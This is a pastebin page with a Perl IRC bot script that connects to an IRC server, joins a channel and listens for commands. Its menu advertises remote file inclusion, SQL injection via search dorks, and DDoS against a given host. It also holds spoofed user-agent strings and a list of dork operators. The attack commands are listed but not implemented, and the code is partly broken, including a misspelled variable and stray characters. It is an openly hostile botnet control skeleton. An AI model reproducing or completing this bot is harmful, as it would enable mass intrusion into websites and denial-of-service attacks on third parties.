All pastes #1469024 Raw Edit

sd

public text v1 · immutable
#1469024 ·published 2009-06-21 18:48 UTC
rendered paste body
#!/usr/bin/perl -w
#
#	 <- IRC BOT ->
#	
#	script coded by geo
#
###############################
#	<- Modules ->		  

use LWP::UserAgent;
use IO::Socket::INET;
use Parallel::ForkManager;
use URI::Escape;

start:
##############################
# 	<- Variables && arrays ->
my @useragents = ("Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-PT; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7",
		  "Mozilla/6.0 (Windows; U; Windows NT 6.0; pt-PT; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7",
		  "Mozilla/7.0 (Windows; U; Windows NT 6.0; pt-PT; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7",
		  "Mozilla/5.0 (compatible; Webduniabot/1.0; +http://search.webdunia.com/bot.aspx)",
		  "Mozilla/6.0 (compatible; Webduniabot/2.0; +http://search.webdunia.com/bot.aspx)",
		  "Mozilla/7.0 (compatible; Webduniabot/3.0; +http://search.webdunia.com/bot.aspx)",
		 );

my @unallowed =  ("intitle:",
		  "title:",
		  "inurl:",
		  "allinurl:",
		  "intext",
		);

	# irc server options::..
my $server 	= "irc.indoirc.net";

my $port 	= "6667";

my $nick 	= "[geo]".int(rand(9999999));

my $channel 	= "#wreck";

my $user 	= 'uname -a';

my $name 	= "* resolved: under-net.com";
	# end of irc server options::..


##############################
#	<- Starting Connection ->

my $connection = new IO::Socket::INET (PeerAddr => $server,

                           PeerPort => $port,

                           Proto => "tcp") or die "[+] - Cant connect: $server:$port\n" unless $connection;



print $connection "NICK $nick\r\n";

print $connection "USER $user \"\" \"\" :$name\r\n";

print $connection "join ".$channel."\r\n";



while (my $in = <$connection>) {



	# prints all output

	print $in;

	

	# Ping && Pong Commands 

	if ($in =~ /^PING (:[^ ]+)$/i) {
		print "pong: $1\n";

		print $connection "PONG :$1\r\n";

	}

	if ($in =~ m/PRIVMSG $channel :.quit/){
		print $connection "PRIVMSG ".$channel." :1[-] - Game is Over\r\n";
		exit(1);
	}
		
	if ($in =~ m/PRIVMSG $channel :.options/){
		print $connection "PRIVMSG ".$channel." :16,1[+] - ..++xXxBot 0.1++.. \r\n";
		print $connection "PRIVMSG ".$channel." :16,1[+] - Command -  Description  \r\n";
		print $connection "PRIVMSG ".$channel." :16,1[+] - .rfi  < dork >  - Remote File Inclusion\r\n";
		print $connection "PRIVMSG ".$channel." :16,1[+] - .sqli < dork >  - Sql Injection\r\n";
		print $connection "PRIVMSG ".$channel." :16,1[+] - .ddos <  host etc... >\r\n";
	}
	
	
  


}

##############################

close($connectionm);
goto start;d